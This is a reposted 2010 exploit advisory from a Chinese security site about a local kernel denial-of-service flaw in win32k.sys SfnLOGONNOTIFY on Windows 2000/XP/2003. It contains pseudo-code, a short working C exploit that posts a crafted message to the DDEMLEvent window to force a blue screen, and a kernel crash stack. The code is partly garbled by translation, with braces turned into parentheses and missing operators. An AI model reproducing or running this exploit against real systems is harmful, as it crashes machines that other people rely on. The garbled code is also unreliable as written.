首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Windows 2000/XP/2003 win32k.sys SfnLOGONNOTIFY local kernel Denial of Service Vu
来源:http://hi.baidu.com/mj0011/blog/ 作者:MJ0011 发布时间:2010-04-23  

Windows 2000/XP/2003 win32k.sys SfnLOGONNOTIFY local kernel Denial of Service Vulnerability

Effect : Microsoft Windows 2000/XP/2003 full patch


Author:MJ0011
Published: 2010-04-22


Vulnerability Details:

Win32k.sys in DispatchMessage when the last call to xxxDefWindowProc, this function in dealing with some
Message, will call gapfnScSendMessage this function table function to process, which under the deal 2000/xp/2003
0x4c No. message, there will be a function called SfnLOGONNOTIFY, this function again when the wParam == 4/13/12
When the data directly from the lParam inside out, despite the use of the function of the SEH, but as long as the kernel passes the wrong address, will still lead to
BSOD

Pseudo-code:

if (wParam == 4 | | wParam == 13 | | wParam == 12)
(
    v18 = * (_DWORD *) lParam;
    v19 = * (_DWORD *) (lParam 4);
    v20 = * (_DWORD *) (lParam 8);
    v21 = * (_DWORD *) (lParam 12);

Exploit code:

# Include "stdafx.h"
# Include "windows.h"
int main (int argc, char * argv [])
(
printf("Microsoft Windows Win32k.sys SfnLOGONNOTIFY Local D.O.S Vuln\nBy MJ0011\nth_decoder@126.com\nPressEnter");

getchar();

HWND hwnd = FindWindow ("DDEMLEvent", NULL);

if (hwnd == 0)
(
   printf ("cannot find DDEMLEvent Window! \ n");
   return 0;
)

PostMessage (hwnd, 0x4c, 0x4, 0x80000000);


return 0;
)

Common crash stack:

kd> kc

win32k! SfnLOGONNOTIFY
win32k! xxxDefWindowProc
win32k! xxxEventWndProc
win32k! xxxDispatchMessage
win32k! NtUserDispatchMessage
....

Windows 7/Vista no such problem

Thanks:

Thanks to my colleagues LYL to help me discovered this vulnerability

 


th_decoder
2010-04-22

 


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·34 bytes setreud(getuid(), get
·Windows 2000/XP/2003 win32k.sy
·OpenSSL remote DoS
·EDraw Flowchart ActiveX Contro
·Xftp client 3.0 PWD Remote Exp
·EDraw Flowchart ActiveX Contro
·Invision power board 0-day den
·Apache Tomcat v. 5.5.0 to 5.5.
·Invision Power Board 0-day den
·29 Byte setuid(0) + execve("/b
·Apache OFBiz Multiple XSS Vuln
·CommView Version 6.1 (Build 63
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved